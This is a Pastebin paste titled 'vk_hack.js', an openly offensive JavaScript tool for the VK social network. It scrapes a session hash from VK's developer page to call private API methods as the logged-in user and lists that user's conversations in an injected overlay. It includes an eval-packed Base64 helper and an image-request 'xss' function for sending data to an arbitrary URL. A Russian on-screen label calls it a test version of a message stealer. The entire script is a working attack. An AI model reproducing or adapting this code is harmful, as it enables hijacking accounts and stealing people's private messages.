Redfern_89

vk_hack.js

Mar 15th, 2018
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /**
  2. *
  3. *  Base64 encode / decode
  4. *  <a href="http://www.webtoolkit.info/" title="http://www.webtoolkit.info/" class="liexternal">http://www.webtoolkit.info/</a>
  5. *
  6. **/
  7.  eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5 C={h:"U+/=",P:z(a){5 b="";5 c,k,m,F,q,f,e;5 i=0;a=C.M(a);E(i<a.y){c=a.o(i++);k=a.o(i++);m=a.o(i++);F=c>>2;q=((c&3)<<4)|(k>>4);f=((k&D)<<2)|(m>>6);e=m&s;p(K(k)){f=e=x}u p(K(m)){e=x}b=b+j.h.l(F)+j.h.l(q)+j.h.l(f)+j.h.l(e)}w b},W:z(a){5 b="";5 c,k,m;5 d,q,f,e;5 i=0;a=a.L(/[^A-Y-N-9\\+\\/\\=]/g,"");E(i<a.y){d=j.h.B(a.l(i++));q=j.h.B(a.l(i++));f=j.h.B(a.l(i++));e=j.h.B(a.l(i++));c=(d<<2)|(q>>4);k=((q&D)<<4)|(f>>2);m=((f&3)<<6)|e;b=b+7.8(c);p(f!=x){b=b+7.8(k)}p(e!=x){b=b+7.8(m)}}b=C.J(b);w b},M:z(a){a=a.L(/\\r\\n/g,"\\n");5 b="";O(5 n=0;n<a.y;n++){5 c=a.o(n);p(c<t){b+=7.8(c)}u p((c>Q)&&(c<R)){b+=7.8((c>>6)|S);b+=7.8((c&s)|t)}u{b+=7.8((c>>H)|G);b+=7.8(((c>>6)&s)|t);b+=7.8((c&s)|t)}}w b},J:z(a){5 b="";5 i=0;5 c=T=v=0;E(i<a.y){c=a.o(i);p(c<t){b+=7.8(c);i++}u p((c>V)&&(c<G)){v=a.o(i+1);b+=7.8(((c&X)<<6)|(v&s));i+=2}u{v=a.o(i+1);I=a.o(i+2);b+=7.8(((c&D)<<H)|((v&s)<<6)|(I&s));i+=3}}w b}};',61,61,'|||||var||String|fromCharCode||||||enc4|enc3||_keyStr||this|chr2|charAt|chr3||charCodeAt|if|enc2||63|128|else|c2|return|64|length|function||indexOf|Base64|15|while|enc1|224|12|c3|_utf8_decode|isNaN|replace|_utf8_encode|z0|for|encode|127|2048|192|c1|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|191|decode|31|Za'.split('|'),0,{}))
  8. /**
  9. *
  10. *   VKAPI
  11. *
  12. **/
  13. var vk_api = {
  14.    
  15.     __api_url: 'https://vk.com/dev',
  16.    
  17.     api: function(method, params, callback) {
  18.        
  19.         $.ajax({
  20.             type: 'GET',
  21.             url: vk_api.__api_url + '/' + method,
  22.             success: function(response) {
  23.                 var html_data = $(response) || {};
  24.                 var new_params = [];
  25.                
  26.                 for (key in params) {
  27.                     new_params['param_' + key] = params[key];
  28.                 }
  29.                
  30.                 var api_hash = html_data.find('#dev_req_run_btn').attr('onclick').match(/\'(.*?)\'/i)[1];
  31.                 var request_api_std_params = { act: 'a_run_method', al: '1', method: method, hash: api_hash, param_v: '5.73'};
  32.                 var request_api_params = $.extend( request_api_std_params, new_params );
  33.                
  34.                 $.ajax({
  35.                    
  36.                     type: 'POST',
  37.                     url: vk_api.__api_url,
  38.                     data: request_api_params,
  39.                     success: function(raw) {
  40.                         var response = raw.match(/\{\"(.*)/i)[0];
  41.                         if (callback) callback(response);
  42.                     }
  43.                    
  44.                 });
  45.             }
  46.        
  47.        
  48.         });
  49.     }
  50. };
  51. /**
  52. *
  53. *   XSS ELEMENT
  54. *
  55. **/
  56. var xss = {
  57.    
  58.     create_xss_element: function(method, url, data) {
  59.        
  60.         var body = $('body') || {};
  61.        
  62.         if (method == 'GET') {
  63.             var img = new Image();
  64.             document.body.appendChild(img);
  65.             img.src = url + '?' + data;
  66.            
  67.             var check_load_img_interval = setInterval(function() {
  68.                 if (img.height > 0) {
  69.                     document.body.removeChild(img);
  70.                     clearInterval(check_load_img_interval);
  71.                 }
  72.             }, 500);
  73.            
  74.         }
  75.        
  76.     }
  77.    
  78. };
  79. /**
  80. *
  81. *   VK WORK
  82. *
  83. **/
  84. var  vk_work = {
  85.  
  86.    current_dialog: {},
  87.  
  88.     createDialog: function(params) {       
  89.                
  90.                 var defaults = {
  91.                     width: 550,
  92.                     height: 129
  93.                 };
  94.                
  95.                 var opts = $.extend(defaults, params);
  96.                
  97.                 var dlg = $('<div></div>', {
  98.                     class: 'im--dialog-load',
  99.                     id: 'vk_dialog'
  100.                 });
  101.                 var new_left = (($(window).width() / 2) - (opts.width / 2));
  102.                 var new_top = (($(window).height() / 2) - (opts.height / 2));
  103.                 dlg.css({
  104.                     width: opts.width,
  105.                     height: opts.height,
  106.                     background: '#fff',
  107.                     border: '1px solid #939393',
  108.                     'border-radius': '4px',
  109.                     margin: '0 auto',
  110.                     position: 'absolute',
  111.                     top: new_top,
  112.                     left: new_left,
  113.                     'box-shadow': '#ccc 1px 1px 2px',
  114.                     'z-index': '99999999'
  115.                 });
  116.                
  117.                 var label = $('<div></div>', {
  118.                     class: 'im--dialog-label',
  119.                     id: 'vk_label'
  120.                 });
  121.                 label.css({
  122.                     border: '1px solid #faebcc',
  123.                     color: '#8a6d3b',
  124.                     background: '#fcf8e3',
  125.                     margin: '15px 16px 7px 19px',
  126.                     padding: '4px 5px',
  127.                     'border-radius': '3px',
  128.                     'text-align': 'center'
  129.                 });
  130.                 label.html('<b>Добро пожаловать в тестовую версию пиздильщика!</b> Отметьте диалоги, которые надо утащить');
  131.                 dlg.append(label);
  132.                
  133.                 var content = $('<div></div>').css({
  134.                     padding: '5px 5px 10px 19px',
  135.                     margin: '10px',
  136.                     height: opts.height - 80,
  137.                     overflow: 'hidden',
  138.                     'overflow-y' : 'scroll'
  139.                 }).addClass('content');
  140.                 dlg.append(content);
  141.                 $('body').prepend(dlg);
  142.                
  143.                 vk_work.current_dialog = dlg;
  144.                
  145.     },
  146.    
  147.     load_dialogs_list: function() {
  148.         var dialog_content = vk_work.current_dialog.find('.content') || {};
  149.         var table = $('<table></table>').css({ 'list-style': 'none', margin: 0, padding: 0, width: '100%' });
  150.         dialog_content.append(table);
  151.         var users_ids = [];
  152.         var mess_preeviews = [];
  153.        
  154.         vk_api.api('messages.getDialogs', { offset: 0, count: 10 }, function(response) {
  155.             var js = $.parseJSON(response);
  156.             for (i = 0; i < js.response.items.length; i++) {               
  157.                 users_ids[i] = js.response.items[i].message.user_id;
  158.                 mess_preeviews[i] = js.response.items[i].message.body;
  159.             }
  160.             console.log(users_ids);
  161.             vk_api.api('users.get', { user_ids: users_ids.join(','), fields: 'photo_50' }, function(response) {
  162.                 var js = $.parseJSON(response);
  163.                 for (i = 0; i < js.response.length; i++) {
  164.                     var tr = $('<tr><td width="2%"><input type="checkbox" /></td><td id="photo_50" width=2%"><img /></td><td id="name" width="30%"></td></tr><tr><td></td><td colspan="2" id="mess_pree"></td></tr>');
  165.                     var label = $('<div></div>', {
  166.                         class: 'im--dialog-label',
  167.                         id: 'vk_label'
  168.                     });
  169.                     label.css({
  170.                         border: '1px solid #4A76A8',
  171.                         color: '#4A76A8',
  172.                         background: '#EDEEF0',
  173.                         margin: '0px',
  174.                         padding: '6px 18px',
  175.                         'border-radius': '3px'
  176.                     });
  177.                     label.text(mess_preeviews[i]);
  178.                     tr.find('td').css({ 'vertical-align': 'middle' });
  179.                     tr.find('td#id').text(js.response[i].id);
  180.                     tr.find('td#photo_50').find('img').attr({ src: js.response[i].photo_50 });
  181.                     tr.find('td#name').text(js.response[i].first_name + ' ' + js.response[i].last_name);
  182.                     tr.find('td#mess_pree').append(label);
  183.                     table.append(tr);
  184.                 }
  185.             });
  186.         });
  187.     }
  188.            
  189. };
  190.  
  191. vk_work.createDialog({width: 900, height: 500});
  192. vk_work.load_dialogs_list();
Add Comment
Please, Sign In to add comment